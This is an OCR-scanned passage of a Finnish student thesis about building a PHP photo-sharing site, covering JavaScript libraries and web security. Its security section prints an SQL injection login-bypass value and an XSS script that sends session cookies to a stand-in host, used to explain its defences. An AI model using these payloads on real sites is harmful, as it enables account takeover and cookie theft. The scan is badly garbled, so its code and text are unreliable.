kaikki kuvat ja videot kansiosta ennen kuin varsinainen kansio voidaan poistaa. Kuvan
tai videon omistaja ei kuitenkaan pysty vaikuttamaan kyseiseen objektiin liséttyihin
kommentteihin, vaan niitd pystyvit poistamaan vain Lokeron omistaja, yllapitdjit sekd
kyseisen kommentin kirjoittaja, jolla siis on tietysti omistajaoikeudet omaan

kommenttiinsa.

3.6 JavaScript ja Lipastossa kéytettavit JavaScript-kirjastot

3.6.1 JavaScript

Yleisesti ottaen voidaan sanoa, ettd yli 90 prosentilla kéyttdjistd on JavaScript-tuki

pddlla (esimerkiksi katsottaessa http://www.w3schools.com/-sivuston selaintilastoja,

W3Schools 2008 Browser statistics) ja pitdd my0s muistaa, ettd hakukoneiden robotit
ovat yksi suuri kévijiryhmd, joilla ei ole JavaScript-tukea pailld. Jos kéytetddn
referenssind tuota W3Schoolsin tilastosivua, voidaan sanoa, ettd JavaScriptid
tukemattomien kéyttdjien osuus on niin hévidvdn pieni, ettd heitd varten ei
yksinkertaisesti kannata tehdi lisdtyotd sivuston toimivuuden parantamiseksi siten, ettd

kaikki ominaisuudet toimisivat myods nailla kaytta;jilla.
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3.6.2 JavaScript Lipastossa

Tatd projektia aloilteltaecssa mietimme, miké olisi meille sopivin tapa kohdella kayttéjia,
joilla ei ole JavaScript-tukea péélld. Vaihtoehtoina olisi jompikumpi &déripdistd;
Kayttdjid, joilla ei ole ollenkaan JavaScript-tukea pdilld ei pdistetd ollenkaan sisddn
vaan ndytetddn jo etusivulla ilmoitus, ettd tdméa jérjestelmd vaatii toimiakseen
JavaScript-tuen péélld olemisen, tai sitten toinen déripdd, eli tekisimme jirjestelmén,
jossa ei kdytetd ollenkaan JavaScriptid, jolloin sivusto siis toimisi samalla tavalla
huolimatta kiyttdjin JavaScript-tuesta. Hakukoneiden toimivuutta Lipaston sisdsivuilla
ei tarvitse miettid, koska hakukoneita ei pdistetd indeksoimaan yksittiisten Lokeroiden
siséltojd. Olimme kuitenkin pééttdneet jo aiemmin ottaa MooToolsin (3.6.3) ja
Lightboxin (jonka my6hemmin vaihdoimme Slimboxiin) (3.6.5) kayttoon sivuilla,
koska niiden kiyttdminen on helppoa ja molemmat tuovat mukanaan tyylikkyyttd ja
helppokayttoisyyttd. Paddyimmekin kultaiseen keskitichen”, eli jos sivuille tulevalla
kayttéjélla ei ole JavaScript-tukea péélld niin ndytdmme ”Selaimessasi ei ole JavaScript-
tukea pééll4, joten Lipaston kaikki ominaisuudet eivit vilttdmattd toimi selaimellasi.”-
ilmoituksen ja tarjoamme ohjeen, jolla kéyttdjd voi halutessaan laittaa JavaScript-tuen
pdille. Tosin ainakin suurin osa Lipaston JavaScriptid vaativista ominaisuuksista toimii
ilman JavaScript-tukeakin (esimerkiksi Slimbox avautuu ldpindkyvin tason sijasta
uuteen ikkunaan ja MooToolsin Fx.Slide-efekti ei piilota elementtejd, vaan ne ovat
oletusarvoisesti nédkyvissd jos JavaScript on pois pddltd), mutta tulevaisuudessa

saatamme lisdtd ominaisuuksia, jotka vaativat toimiakseen JavaScriptin.

3.6.3 MooTools

MooTools on ilmainen JavaScript-kirjasto, jonka voi ladata MooToolsin omilta sivuilta

osoitteesta http://mootools.net/. MooTools on lisensoitu avoimen ldhdekoodin

sovelluksille tarkoitetulla MIT Licensella (http://www.opensource.org/licenses/mit-

license.php), joka antaa jokaiselle koodia kéyttdville muun muassa oikeuden muokata,
jakaa ja julkaista koodia, eli koodin kaytolle ei aseteta mitddn rajoituksia. MooToolsin
ominaisuuksien hyddyntdminen sivuilla on myds helppoa. Sivuille tarvitaan vain yksi

JavaScript-tiedosto, johon sisdltyvét kaikki MooToolsin koodit ja timén jilkeen
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ominaisuuksia on helppo kopioida vaikka MooToolsin omalta demo-sivulta, josta
16ytyvdt koodit pariinkymmeneen useimmiten kiytettyyn MooTools-efektiin.
MooToolsin lataamissivu toimii modulaarisesti, eli kdyttdjan ei ole pakko ladata koko
pakettia, vaan pakettiin voi valita vain tarvitsemansa osat. Liséksi ladattavalle
JavaScript-paketille voi valita haluamansa pakkaustyypin, joita on neljd erilaista.
Testivaiheessa kannattaa kayttdd pakkaamatonta versiota, jossa on dokumentaatiot
mukana, jolloin mahdollisten MooToolsin kanssa ilmenevien virhetilanteiden selvittely
on helpompaa. Tatd samaa JavaScript-tiedostoa ei kuitenkaan kannata missdin nimessa
kayttdd endd tuotantoon mentdessd, silld kirjoitushetkelld (24.02.2008) pakkaamaton,
kaikki ominaisuudet sisdltdva tiedosto on kooltaan 179 kilobittid, kun taas sama tiedosto
pakattuna YUI-pakkausmetodilla ilman dokumentaatioita vie vain 64,5 kilobittii.
MooToolsin voi ladata modulaarisesti, joten sitd kannattaa ehdottomasti kayttdd
hyviksi, eli pakettiin valitaan vain tarvittavat osat. Talld tavalla tiedoston koko saadaan

pienennettyd murto-osaan alkuperdisestd 179 kilobitin paketista.

3.6.4 MooTools Lipastossa

Lipastoon olemme ottaneet kdyttoon MooToolsista muutamia mielestimme kétevid
ominaisuuksia. Ehké parhaiten ndkyvi ominaisuus, jonka nikee jo etusivulla, on vinkki-
ikkunat. Sivuille on siroteltu sopiviin paikkoihin pienid sinisid kysymysmerkkejé, joista
saa lisédtietoja kyseisestd toiminnosta. Ikkunat tulevat nékyviin, kun hiiren osoittimen
vie kysymysmerkki-pallon péille, ja ne poistuvat nikyvistd, kun hiiren vie pois pallon
paalta. Ikkunat ovat helppokéyttoisid ja kayttédjaystavillisid ja my0s tarpeeksi huomiota
heréttdmattomid, jolloin ne eivét kiinnitd liikaa huomiota ja ndin vaikeuta sivujen
kayttod. Kysymysmerkit saa tarvittaessa myos pois pééltd omista asetuksista, jolloin
niitd ei ndytetd sivuilla ollenkaan. Kun uusi tunnus rekisterdidddn, ikkunat ovat
oletusarvoisesti nidkyvissd, koska uudet kiyttédjét tarvinnevat niiti eniten. Toinen tdrked
Lipastossa kéytettdvd MooToolsin ominaisuus on Galleria-sivulla oleva tekniikka, jolla
kuvat avataan. Kun kéyttéjd haluaa avata suurimman mahdollisen version kuvasta, kuva
avataan Slimbox-nimisen JavaScript-kirjaston koodeja hyvidksi kayttden, joka siis

hyddyntdd MooToolsia. Slimboxista kerrotaan enemmén seuraavassa luvussa.
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Kolmas Lipastossa kdytettivi MooTools-efekti on nimeltddn Fx.Slide, eli sivuilla on
elementtejd, jotka ovat oletusarvoisesti piilossa, mutta tiettyd nappia painamalla ne
liukuvat ndkyviin ilman uutta sivun latausta. Tétd efektid kiytetddn muun muassa
Galleria-sivulla, eli kun kayttdja klikkaa “Kommentoi kuvaa”-linkkid, niin
kommentointilaatikko liukuu linkin alle. Toinen paikka, jossa Fx.Slidea kdytetddn, on
Jisenet-sivulla. Sielld nékyy oletuksena vain muutamat tdrkeimmét tiedot Lokeron
jésenistd, mutta rivid painamalla aukeaa laatikko, jossa on tarkemmat tiedot henkilsta.

Jisenet-sivusta on kuvakaappaus liitteessd 15.

3.6.5 Slimbox

Slimbox on yhteen noin 7 kilobitin kokoiseen tiedostoon kutistettu JavaScript-kirjasto,
joka mahdollistaa sivuilla olevien kuvien avaamisen “uudelle tasolle”, eli kuvat
nédytetidén keskelld sivulla omassa laatikossaan ja koko muu sivu héivytetdin taustalle.
Slimbox kéyttdd edellisessd kappaleessa esitellyn MooToolsin efektejd toimiakseen,
joten jos sivuilla halutaan kdyttda Slimboxia, niin MooTools pitdd my0s ottaa kdyttoon.
Slimbox on oikeastaan kopio Lightbox-JavaScript-kirjastosta

(http://www.huddletogether.com/projects/lightbox2/), mutta vaatii toimiakseen paljon

vihemmain koodia kuin Lightbox. MooToolsin tavoin my6s Slimbox on lisensoitu MIT
Licensella, eli kirjaston julkaisijat eivdt aseta minkdanlaisia esteitd koodin kéytolle,

muokkaamiselle tai jakamiselle.

3.6.6 Slimbox Lipastossa

Kun Lipaston tekeminen aloitettiin niin Lipastoon otettin heti kédyttoon Lightbox-
kirjasto, koska emme tuolloin vield olleet tietoisia Slimboxista. Myohemmaéssi
vaiheessa l0ysimme Slimboxin ja otimme sen kadyttoon, koska se vaikutti olevan paljon
kompaktimpi paketti kuin Lightbox. Ainoana miinuspuolena” Lightboxiin verrattuna
Slimboxissa on se, ettd se vaatii toimiakseen MooToolsin, mutta Lipastossa oli
MooTools jo valmiiksi kiytOssa siind vaiheessa, joten Slimboxiin vaihtamiselle ei ollut

mitddn estetts.
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3.7 Tietoturva

3.7.1 Lipaston tietoturva yleisesti

Lipasto on kaikille avoin internet-sivusto, jossa kdyttdjien motiivit voivat vaihdella.
Kayttdjamadrien kasvaessa on varmaa, ettd sivuston tietoturvaa tullaan koettelemaan ja
sithen tulee suhtautua asianmukaisella vakavuudella. Jérjestelmidn tietoturva on
subjektiivinen késite, joka riippuu jarjestelmén toiminnallisuudesta, seké sen sisdltdmén
datan tirkeydestd. Tietoturvaa on suhteellisen helppoa kasvattaa tiettyyn pisteeseen asti
kayttomukavuuden kustannuksella. Télla tarkoitetaan sité, ettd jérjestelméddn voidaan
lisatd esimerkiksi erilaisia tarkistuksia, jotka saattavat hieman hidastaa tai vaikeuttaa
kiyttdjan toimintaa jdrjestelméssd, mutta lisddvat kuitenkin samalla jirjestelmén
turvallisuutta. Hyvd esimerkki téllaisesta tarkistuksesta on CAPTCHA® (Completely
Automated Public Turing test to tell Computers and Humans Apart).

Lipaston kaltaisessa verkkosovelluksessa on useita tietoturvakerroksia. Haavoittuvuudet
Apache-palvelimella, MySQL-palvelimella tai PHP-kielen 1dhdekoodissa saattaisivat
vaarantaa Lipaston turvallisuuden. Emme kuitenkaan ota kantaa edellimainittujen
tietoturvaan, vaan keskitymme késitteleméén sivuston dynaamisten PHP-elementtien
tietoturvaa. Dynaamisessa elementissd kayttdja péddsee vaikuttamaan sovelluksen
toimintaan sydtteillddn. Syotteet voivat olla lomakkeiden POST-muuttujia, verkko-
osoitteiden GET-muuttujia, sekéd keksejd eli COOKIE-muuttujia. Vastaanottaessamme
kayttdjan syotteitd meididn tulee varmistua, ettd vastaanotettu data on turvallista ja
odotetun kaltaista. Lipastoa ohjelmoidessamme olemme pitdneet mielessd suosituksen:

”Never trust user input”. (Waterson 2007)

3.7.2  Verkko-osoitteiden GET-muuttujat

Yksi kolmesta tavasta vastaanottaa kdyttdjan syotteitd on verkko-osoitteiden kautta

syOtettdvdt muuttujat, joita vastaanotetaan HTML:n GET-metodilla. Verkko-osoite

6 http://fi.wikipedia.org/wiki/Kuvavarmennus _(tietotekniikka)
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http://'www.lipasto.fi/index.php?sivu=lorem sisdltdd sivu”’-nimisen GET-muuttujan
jonka arvo on ”lorem”. Varmistuaksemme, ettd sivupyynndt ovat turvallisia, olemme
kayttineet SWITCH-CASE rakennetta (kuva 7), jossa annetun sydtteen on oltava juuri
oikea, jotta tietty osa koodista suoritettaisiin. Mikili sydte ei vastaa odotettua,
suoritetaan DEFAULT-osio. Kuvassa 7 esitelty tapa on tdysin tietoturvallinen.
SWITCH-CASE sopii tapauksiin, jossa muuttujat voidaan méaérittdd etukiteen ja jossa

halutaan selkeyttdd koodin rakennetta ohjausrakenteen loogisuuden ansiosta.

<?php

switch ($_GET['sivu'])
{

case 'galleria':
echo 'Tadssa on Galleria-sivu.';
break;
case 'asetukset':
echo 'Tassa on Asetukset-sivu.';
break;
default:
echo 'Tadmd& on oletussivu, esimerkiksi etusivu.';
break;

?>

Kuva 7: Esimerkki switch-case-rakenteesta

3.7.3 Lomakkeiden POST-muuttujat

Lipastossa on lukuisia lomakkeita, joiden avulla kayttdja syottdd merkkijonoja ja
tiedostoja  jdrjestelmdén.  Lomakkeiden  syotteitd — kdytetddn  huomattavasti
monimuotoisemmin kuin GET-metodilla vastaanotettuja muuttujia. Lomakkeista
vastaanotettua kayttdjin syottdméd tietoa kéytetiin muun muassa lukuisissa
tietokantakyselyissd ja tietoa tallennetaan tietokantaan. Vaarana tillaisissa tapauksissa
ovat erityisesti SQL-injektiot, joissa kéyttdjd syottda syotteen, joka muuttaa alkuperdisté
SQL-kyselyd. Lyhyt ja yksinkertainen esimerkki SQL-injektiosta on kuvassa 8 (The
PHP Group 2008).



<?php

// Kayttaja on sydttanyt lomakkeeseen seuraavanlaiset
// arvot kayttadjatunnukseksi (username) Ja

// salasanaksi (password) :

$ POST['username'] = 'aidan';
$_POST['password'] = "' OR ''='";
Squery = "SELECT *

FROM users

WHERE
user = '{S$ POST['username']}'
AND
password = '{$ POST['password']}'";

mysgl query (Squery);

?>

Kuva 8: Esimerkki SQL-injektiosta

Tuloksena kuvassa 8 esitellystd esimerkisti olisi seuraava SQL-kysely:

SELECT * FROM users WHERE user='aidan' AND password='' OR ''="'

Tuo SQL-kysely toteutuisi aina, koska tietokannasta haettaisiin kaikki rivit, joissa
kayttdjatunnuksena on “aidan” ja salasanana on tyhji tai “tyhjd” on “tyhjd”, joka siis
pitdd paikkaansa aina. Kéytdnnossd kayttdjd kirjautuisi sisdédn “aidan”-nimiselld
kayttdjatunnuksella. Lipastossa puhdistamme kaikki kdyttdjien antamat sydtteet itse
koodaamallamme funktiolla, joka poistaa syotteistd haitallisia tietoja rekursiivisesti ja

korvaa tietyt merkit niitd vastaavilla HTML-entiteeteilld, jotta ne ndkyisivit oikein

sivuilla (kuva 9).

36
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<?php

function escapeVars ($input)
{
$what to replace = array("&", "<", ">");

$Sreplace with = array("&amp;", "&lt;", "&gt;");

if (is_array(Sinput))
{
foreach ($input as S$key => S$value)
{
Soutput [Skey] = Sthis->escapeVars (Svalue) ;

else

if (get _magic _quotes gpc())
{

Sinput = stripslashes ($input) ;
}

Soutput = mysqgl real escape string(trim(Sinput)):;

Soutput = str replace($what to replace, Sreplace with,
Soutput) ;

}

return $output;

?>

Kuva 9: Rekursiivinen syotteen puhdistus-funktio

Lomakkeiden syotteet tarkastetaan tapauskohtaisesti joko PHP:n omilla funktioilla tai
vaihtoehtoisesti itse ohjelmoimillamme funktioilla riippuen siitd, minkélaista tietoa

odotetaan. Lista Lipastossa kiytetyistdi PHP:n omista funktiosta, joilla varmistamme
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merkkijonojen turvallisuuden tapauksesta riippuen on liitteessd 10. Tarkemmat

selitykset funktioiden toiminnoista 16ytyvit PHP:n ohjekirjan funktiot-osiosta’.

3.7.4 Tiedostojen lataus

Lipastossa kiyttdjat péddsevdt lataamaan kuvia, jotka tallennetaan palvelimelle ja
tulostetaan selaimeen. Kaytinnossd kdyttdja voi kuitenkin yrittdd ladata mitd tahansa
tiedostoa, esimerkiksi ajettavaa ohjelmaa. Tiedoston lataus tietoturvallisesti on erityisen
monimutkaista, koska ohjelmoijan pitdé olla erityisen tarkkana, mihin tietoon hén voi
luottaa. Myds selaimet kayttdytyvdt eri tavalla pyrkiessddn tunnistamaan tiedoston
kuvaksi. Vaarallisena esimerkkind tdstd mainittakoon Internet Explorer, joka suostuu
suorittamaan esimerkiksi JavaScript-koodia kuvan siséltd (Palant 2007). Jarjestelmén
pitdd pystyd varmistumaan, ettd tiedosto jota ladataan, on kuva, ja ettd se on ennalta
madrityssd formaatissa. Lipastossa tuemme seuraavia kuvaformaatteja: jpg, jpeg, png ja
gif. Varmistamme tiedoston formaatin tutkimalla kuvan MIME-tyyppid® ja
tiedostopditettd, jonka jilkeen tallennamme kuvan uudestaan kuvana. MIME-tyypin
varmistamiseen kdytimme PHP:n getimagesize-funktiota. Tiedoston péditteen

selvittdmiseksi kidytdimme kahta itse ohjelmoimaamme funktiota (kuva 10).

<?php

function findExts ($file)

{
$filename = strtolower ($file);
Sexts = split("[/\\.]", S$filename);
$n = count ($Sexts)-1;
Sext = $exts[$n];

return S$Sext;

function checkFormat (Sext)

” http://www.php.net/manual/en/funcref.php
8 Multipurpose Internet Mail Extensions, http:/fi.wikipedia.org/wiki’MIME
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Sallowed = array('jpg', 'jpeg', 'png', 'gif', 'tmp'):;
if (in_array(Sext, S$allowed))

{

return true;

}

else

{

return false;

?>

Kuva 10: Funktiot joilla selvitetddn kuvan tiedostopddite

Haluamme my0s varmistua, ettd késittelemdmme tiedosto on ladattu Lipaston
kuvanlatauslomakkeella, eikd kyseessd ole joku jarjestelmén tiedosto, johon kayttdjalla
ei normaalisti olisi pddsyd. Voimme varmistua tdstdi PHP:n erityisesti sitd varten

tarjoamalla is_uploaded_file-funktiolla.

Tiedosto nimetddn PHP:n toimesta palvelimelle oletusarvoisesti saman nimiseksi kuin
se kéyttdjan ladatessa oli. Emme halua mahdollistaa tiedostonimi4, joilla kéyttdja voisi
muuttaa jirjestelmén toimintalogiikkaa, kuten hakemistopolkuja tiedoston nimessi.
Kaésittelemme kaikki tiedostojen nimet SHA256-hash-algoritmilla  ja
uudelleennimedmme ne, jolloin niistd tulee merkkijonoja, joissa on vain aakkosia ja

numeroita.

3.7.5 Séhkopostiosoitteet

Vaikka védridssd muodossa oleva sihkopostiosoite ei olekaan tietoturvariski, jos silld ei
yritetd SQL-injektiota, niin haluamme silti varmistua, ettd syotetty sihkopostiosoite on
oikeassa muodossa, ennen kuin tallennamme sen tietokantaan (Wikipedia 2008¢). Erds

Lipaston ominaisuus antaa kayttdjille mahdollisuuden ldhettdd séhkopostikutsuja
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ystivilleen. Puutteellinen syote, joka tdssd tapauksessa on sdhkopostiosoite,
mahdollistaisi toiminnon véérinkdyttdmisen joka tapahtuisi manipuloimalla 1dhetettdvin
sihkopostin  otsikkotietoja  (header-kentit’). Tarkastamme  sdhkdpostiosoitteen
oikeellisuuden kuvassa 11 esitetylli funktiolla, joka samalla estdd mahdolliset

sahkopostifunktion vaarinkaytot.

<?php

function validate email ($email)
{
// Create the syntactical validation regular expression

$regexp = """ ([_a-z0-9-1+) (\.[_a-z0-9-]+)*@([a-z0-9-
1+) (\.[a-z0-9-1+) * (\. [a-z]{2,4})$";

// Presume that the email is invalid

Svalid = FALSE;

// Validate the syntax
if (eregi (Sregexp, Semail))
{

Svalid = TRUE;

return $valid;

?>

Kuva 11: Funktio jolla tarkistetaan sdhkopostiosoitteen oikeellisuus

3.7.6 XSS

XSS! eli Cross-Site Scripting-hyokkayksessd hyokkadja pyrkii lisdédmain omaa

koodiaan hyokkédyksen kohteena olevalle verkkosivustolle. Haittakoodia voidaan liséta

o http://en.wikipedia.org/wiki/Email#Header
10 http://en.wikipedia.org/wiki/Cross-site scripting
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minkd tahansa puutteellisesti tarkastetun kéyttdjin syodtteen kautta. Yksinkertainen

esimerkki XSS-haittakoodista kuvassa 12.

<script>alert ('XSS') ;</script>

Kuva 12: Yksinkertainen esimerkki XSS-haittakoodista

Jos kuvassa 12 esitetty haittakoodi olisi lisétty keskustelupalstalle, suoritettaisiin script-
tagien sisélld oleva alert-funktio kaikille keskustelupalstan selaajille, olettaen siis etté
keskustelupalstalla ei suodateta HTML-tageja pois tai niiden mairda ei ole rajoitettu
vain harmittomiin tageihin. Alert-ikkuna ei ole vaaraksi jérjestelmaille ja sen kayttdjille,
mutta on osoitus haavoittuvuuden olemassaolosta. Vaaralliset hyokkdykset voivat pitdd

sisélladn esimerkiksi koodia, jolla varastetaan kéyttdjin istuntokeksi (kuva 13).

<script>document.location="'http://www.evil-site.com/index.php?
'%$20+document.cookie</script>

Kuva 13: Esimerkki XSS-koodista jolla varastetaan kdyttdjéin istuntokeksi

Lipastossa suojaudumme XSS-hyokkéyksid vastaan puhdistamalla kéyttdjin sydtteet
kaikista tarvittavista tageista PHP:n strip tags-funktiolla. Liséksi kiytdmme
htmlentities-funktiota tulostaessamme kéyttdjan syottdmad tekstid sivuille, jotta se

kasitelladn HTML-kielena.
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4 Projektin jilkeen

4.1 Projektin onnistumisen analysointi

Tatd opinndytetyo-projektia lopeteltaessa sivusto ei ole vield aivan kdyttokunnossa,
mutta suurin osa sivuston tarkeimmistd toiminnallisuuksista on jo tehtyni ja testattuina.
Kun aloitimme tdmén projektin, emme oikeastaan edes odottaneet, ettd opinndytetyon
valmistuessa itse sivustokin olisi tidysin valmis. Olemmekin erittdin tyytyviisid siihen,

missé kunnossa jérjestelma on nyt.

Ennen kuin aloitimme varsinaisen jirjestelmén toteuttamisen, yritimme suunnitella
mahdollisimman tarkkaan tietokantaan tarvittavia tauluja ja niiden kenttid, sekd niiden
vélille tarvittavia yhteyksid. Tietokanta tehtiin alussa kéiyttdmiin MyISAM-
tietokantamoottoria, joten yhteyksii ei luotu suoraan tietokantaan koska MyISAM ei tue
viiteavaimia, vaan ne toteutettiin PHP-koodissa. Tdmén jérjestelyn kanssa ei ilmennyt
mitddn ongelmaa, olimmehan molemmat toteuttaneet samalla tavalla tietokanta-tietojen
tarkistuksia jo useita kertoja. Huolimatta tarkasta etukdteis-suunnittelusta tietokantaa
jouduttiin kuitenkin muokkaamaan noin 10 kertaa, joista useimmilla kerroilla kantaan
tehtiin vain pienid muutoksia, eli esimerkiksi vaihdettiin jonkin tiedon tyyppi tai
kenttddn mahtuvan tiedon pituus. Muutaman kerran tietokannassa kuitenkin havaittiin
my0s rakenteellisia ongelmia, eli tietoja jouduttiin siirtiméédn toisiin tauluihin
esimerkiksi siksi, ettd muuten sama tieto olisi pitdnyt tallentaa useaan paikkaan.
Suurimman muutoksen tietokanta koki kun, pddtimme vaihtaa tauluissa kdytettdvin
tietokantamoottorin  MyISAM:sta InnoDB:een, jolloin siis loimme tauluihin
viiteavaimet ja taulujen viliset yhteydet. Samalla myds poistimme yhden taulun
kokonaan, koska huomasimme, ettd pystymme siirtdiméén poistettavan taulun siséllot

muihin tauluihin, menettdmatta kuitenkaan mitdén ominaisuuksia jérjestelmasta.
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4.2 Jatkokehityssuunnitelmat

Liittyminen Lipaston kéyttdjéksi on ilmaista ja myos kaikki Lipaston toiminnallisuudet
ovat ilmaisia, eli kdyttdjéltd ei peritdi maksua mistdin Lipaston perusominaisuuksista.
Projektia aloittaessamme keskustelimme alustavasti Lipaston kaupallistamisesta
tulevaisuudessa, silld jérjestelmidn ylldpitiminen tulee Iuonnollisesti luomaan
kustannuksia. Kustannuksia tulee 1dhinnd jirjestelmén vaatimasta laitteistosta.
Varsinkin jos jérjestelméstd tulee suosittu, sen ylldpitokustannukset voivat nousta
nopeasti hyvinkin suuriksi. Alustavasti olemme keskustelleet mahdollisuudesta lisétad
jarjestelmddn mainoksia jossain vaiheessa ja myds maksullisten lisdiominaisuuksien
mahdollisuuksista on keskusteltu. Jarjestelmidn kaupallistaminen ei kuitenkaan ole
ajankohtaista vield, vaan se tulee ajankohtaiseksi vasta kun jérjestelmd on saatu
ohjelmoitua tiysin toimivaksi ja vakaaksi ja sinne on jo kerddntynyt jonkin verran

vakituisia ja aktiivisia kdyttdjia.
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Liite 1: ER-malli
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Kommentti 1
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Alhe Vastaus aiheeseen

ilmoitustaululla
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Liite 2: Aaltosulkeiden merkitsemistyyleji

Allmanin tyyli (1ahde: http://en.wikipedia.org/wiki/Indent_style):

<?php
$foo = "nobar";
if ($foo == "bar")

{

echo "\$foo on \"bar\"!";

else

echo "\$foo ei ole \"bar\".";

?>

K&R-tyyli (1ahde: http://en.wikipedia.org/wiki/Indent_style):

<?php
$foo = "nobar";
if ($foo == "bar") {
echo "\$foo on \"bar\"!";
} else {
echo "\$foo ei ole \"bar\".";

?>
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Eayttajsa on
vanha kayttaja.

]

(Kéyttéjé tulee Sivulle)

Kayttajsa on
uusi kaytctaja.

]

Kayttaja

kirjautuu
sisdan.

Thjataan

oletus-Lokeroon.

N

Eayttdja on kut-
suttu Lokeroon.
Saapuu sivulle
e-mail-linkin
avulla, jolla
kayctiijsa
tunnistetaan.

Jalasana
taydennetian
kantaan.

Cihjataan
Lokeroon.

Fakotetaan
valihtamaan
salasana.

<

\
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Liite 4: Aktiviteettikaavio kayttajin sisdankirjautumisesta

[
Kayttiajaa el ole
kutsuttu mihin-
k&an Lokeroon.

Y

( Rekisterdityy. i

Zalasana
taydenhetiin
kantaan.

Cipastetaan

luomaan
uusi Lokero.
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Liite 5: Aktiviteettikaavio kayttajin kutsumisesta Lokeroon

o——

h 2

Luo kutsu ja yrita

lahettas se.

Eutsujalla on
alle 10 odot-

tavaa kutsua.
Eutsuttava j

Kutsujalla
on jo 10

odottawas
kutsua.

on jo Lokerossa.

Kutsuttava
2l ole wiela
Lokerossa.

Joku muu on

Jjo ktsunut

W
kutsuttavan. ///:
N v .
Ty,
|: Peruuta kutsu, ) Eutsuttavas ei
ole kutsuttu

aiemmin.
Kutsuja ei
ale yllapit&is.

Kutsuja on
yllapitaja.

N

Luodaan
odottava kutsu.

Yllapitaja
hylkaa kutsun.

fll&pit&ja
hywaksyy kutsun.

Futsuttava ei
ole rekiste-
raitynvyt
Lipastoon.

FKutsuttava on
rekisterditynyt
Lipastoon aiemmin.

y

Laheta
suppea kutsu.

Laheta
lazja kutsu.
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Liite 6: Aktiviteettikaavio sivujen luonnista template-jirjestelmalla

Shdy-rnuuttujaan tehd 340 uusi
Template-luokan ilmentyma.
v

Haetaan uuden termplate-
Kutsutaan $boy-muuttujan set()- muuttujan arvo.
funktiota ja annetaan sille

parametreina $name, jonka arvo | ]
on uuden template-muuttujan nimi
ja $value, johon tulee uuden
template-muuttujan arvo.

%N
%

set () —-funktiolle

set () —funktiolle annettu Fvalue—
annettu fvalue— muuttujsa on objekbi.

muuttuja ei ole )

objekti, joten f ] ] ] ]
se voidasn aset- fetch()-funktiossa puretaan objektin $vars-muuttujan
tas sellaisenaan. tiedat paikalliseen nimiawvaruuteen ja ulostulon

puskuraintia (output buffering) hywaksikayttien
tiedat sirretaan $oontents-muuttujaan ja
\_ palautetaan takaisin set(}-funktioon.

Asetetaan muuttuja $hdyn
$wars-taulukkoon (array) ja
nimeksi annetaan $name.

[
Templateen tarvitaan
wield lis&3 muuttujia.

Eaikki templatesn
tarvittavat muuttujat
oOn annettiu,

Kutsutaan $hdy:n fetch()-funktiota
ja annetaan sille parametriksi
varsinaisen template-tiedoston (tal-
tiedosta) polku, johon $vars-taulukon
muuttujat "asettuwat omille
paikailleen" . Palautuvat tiedot
tulostetaan, eli naytetdadn toimiva sivu.




Liite 7: Aktiviteettikaavio kuvan tallentamisesta

PHP palauttasa Kayttaja lataa kuvan.
virheen ladatusta
tiedostosta, tai
=it& ei ole.

PHF ei palauta wvirhettsd
ladatusta tiedostosta.

h

‘f[ \ Kuvalle on
Tapahtui virhe. Kuvan lataus valittu ha-
keskeytetaan ja kayttajaa Kemisto.

infarmaoidaan asiasta.
k Hash on olemassa.

N

Hakemistoa
2i ole walittu.

N N *V

< [ Lundaan tiedostolle

hashattu nimi.

Hazhia ei
ole ole-
massa.

Tiedostomuoto on
sallittujen tiedos-
tomuotojen listalla.

Yritetdan kopioida
kuwa whteison
kansioan.

\

Tiedoston muoto
2l ole sallittu.

Fuwvan kopiointi
epAonnistui.

Kuvan kopi-
ointi onnistui.

haaritetaan kuvan
kuvasuhde.

Korkeus suurempi \/ Leveys suurempi
kuin leveys, eli kuin korkeus, eli
kuvien korkeuksiksi kuvien leveyksiksi
400px ja S00px ja 400px ja& G00px Jja
leveys skaalautuu. korkeus skaalautuu.

Generoidaan kuvasta
leikattu esikatselukuva.

v

Kaopioidaan pienennetty
kuva kansioon.

Kuvan kopiointi
i onnistunut. Kuven kopiointi
Palautetasn virhe. onnistui.

N

Tallennetaan kuva

tietokantaan.

Fuvan tallentaminen
onnistui. Informoidaan
k&ytt&ja8a ja lopetetaan
suoritus.

( Poistetaan valiaikainen
quatiedustu palvelimelta.
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Liite 8: Aktiviteettikaavio videon tallentamisesta

?

Kayttaja syottaa videon otsikan, valitsee
kansion, etsii videon koneeltaan ja
painaa "Lataa video"-nappia.

Video-tiedostoa
ei ole annettu.
Videon kKansiota
2i ole wvalittu.

Video-tiedosto
on annettu.

Ne
N

Videolle on
valittu kansio.

Annettu video-tie-
dosto on liian suuri.

bnnettu video-
tiedosto ei ole
liian suuri.

§_FILE3-metodin
error-tieto oli
Jokin muu kuin
nolla. Katsotaan
ettt mik& virhe
tuli ja tulos-

§_FILES-metodin error-
tieto on nolla e=1i ei
virhetta.

tetaan virheilmoi-
tuz Zen mukaan.

Asetetaan video-tiedostoille tarvittavat
nelja polkua ja asetetaan $source-
muuttujaan video-tiedoston vali-
4 V - aikainen nirni $_FILES[file1['trmp_narme'].

v

Laitetaan videalle annettu nimi
$narme-muuttujaan, ajetaan se
trim{)-funktion lapi ja

muutetaan valilyonnit alaviivoiksi.
Videon kopiointi
epaonnistui. ¢

Luodaan kopio ladatusta
videosta flv-konvertointia varten.

Wideon koplointi | Luodaan kormento jolla
onnistui.

ffmpeq generoi videosta flv-
tiedoston ja ajetaan komento
shell_exec{}-funktiolla.

MNaytetaan virhe-
iImaoitus ja lopete-
taan sivun suoritus,

N

- |
-

Videota ei ole
olemwassa, eli
generointi
epdonnistui.

Video on olemassa.lﬁ

Lasketaan videon koko,
asetetaan videon tiedot
$video_data-taulukkoon
ja tallennetaan videon
tiedot tietokantaan.
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Liite 9: Lipaston toimintolista
e Vierailija pystyy rekisterdityméédn
e Vierailija pystyy kirjautumaan
o Kiyttdja pystyy palauttamaan unohtuneen salasanan
o Kiyttdjad pystyy luomaan uuden Lokeron
e Kiyttdjd ohjataan kirjautumisen yhteydessé oletus-Lokeroon
o Kiyttdjille ndytetdéin edellisen oman vierailun ajankohta
o Kiyttdjdlle ndytetdéin omien vierailujen lukumédra Lokerossa
o Kaiyttdjille ndytetdén omien vierailujen lukuméiéré Lipastossa
o Kiyttdjille ndytetddn viime kdynnin jélkeen lisdtyt ilmoitukset ilmoitustaululla
o Kaiyttdjille ndytetddn viime kdynnin jélkeen liséttyjen kuvien lukumééra
o Kiyttdjdlle ndytetdéin yllapitdjan hyviksymistd odottavat kutsut
o Kiyttdjdlle ndytetdéin kahden viikon sisélld kutsutut jasenet
o Kaiyttdjd pystyy kirjoittamaan ilmoitustaululle
